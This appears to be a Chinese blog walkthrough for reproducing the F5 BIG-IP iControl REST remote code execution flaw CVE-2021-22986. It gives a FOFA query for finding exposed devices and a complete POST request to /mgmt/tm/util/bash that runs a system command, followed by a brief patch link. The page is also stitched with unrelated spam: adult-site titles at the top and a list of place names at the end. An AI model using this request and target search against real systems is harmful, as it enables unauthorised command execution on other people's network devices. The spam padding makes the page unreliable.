91超碰碰碰碰久久久久久综合_超碰av人澡人澡人澡人澡人掠_国产黄大片在线观看画质优化_txt小说免费全本

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

怎么實現F5 BIG-IP 遠程代碼執行漏洞CVE-2021-22986復現

發布時間:2021-12-29 17:50:47 來源:億速云 閱讀:176 作者:柒染 欄目:安全技術

這篇文章給大家介紹怎么實現F5 BIG-IP 遠程代碼執行漏洞CVE-2021-22986復現,內容非常詳細,感興趣的小伙伴們可以參考借鑒,希望對大家能有所幫助。

F5 BIG-IP

F5 BIG-IP 鏈路控制器用于最大限度提升鏈路性能與可用性的下一代廣域網鏈路流量管理。

漏洞簡介

F5 BIG-IP 存在代碼執行漏洞,該漏洞允許定義身份驗證的攻擊者通過 BIG-IP 管理界面和自身IP地址對 iControl REST 接口進行網絡訪問,以執行任意系統命令,控制目標機器。

影響版本

F5 BIG-IP 16.0.0-16.0.1
F5 BIG-IP 15.1.0-15.1.2
F5 BIG-IP 14.1.0-14.1.3.1
F5 BIG-IP 13.1.0-13.1.3.5
F5 BIG-IP 12.1.0-12.1.5.2
F5 BIG-IQ 7.1.0-7.1.0.2
F5 BIG-IQ 7.0.0-7.0.0.1
F5 BIG-IQ 6.0.0-6.1.0

漏洞復現

fofa搜索關鍵詞:

body="F5 Networks, Inc"

怎么實現F5 BIG-IP 遠程代碼執行漏洞CVE-2021-22986復現

打開首頁如下:

怎么實現F5 BIG-IP 遠程代碼執行漏洞CVE-2021-22986復現

構造請求數據包,執行任意命令:

POST /mgmt/tm/util/bash HTTP/1.1
Host: 192.168.1.123:8443
Connection: close
Content-Length: 39
Cache-Control: max-age=0
Authorization: Basic YWRtaW46QVNhc1M=
X-F5-Auth-Token: 
Upgrade-Insecure-Requests: 1
Content-Type: application/json

{"command":"run","utilCmdArgs":"-c id"}

怎么實現F5 BIG-IP 遠程代碼執行漏洞CVE-2021-22986復現

修復建議

F5官方已發布相關安全更新,廣大用戶需及時更新到最新版本。
下載鏈接:
https://support.f5.com/csp/article/K02566623

關于怎么實現F5 BIG-IP 遠程代碼執行漏洞CVE-2021-22986復現就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

咸宁市| 句容市| 桐城市| 卢氏县| 游戏| 柯坪县| 牡丹江市| 上饶市| 永川市| 九龙坡区| 龙川县| 平阳县| 新宾| 白玉县| 和林格尔县| 普格县| 安溪县| 文昌市| 河间市| 湘乡市| 比如县| 枞阳县| 邓州市| 江口县| 左贡县| 双柏县| 博湖县| 高台县| 新邵县| 徐汇区| 翼城县| 天水市| 黑河市| 河西区| 通海县| 洞口县| 邓州市| 镶黄旗| 城口县| 宣武区| 崇仁县|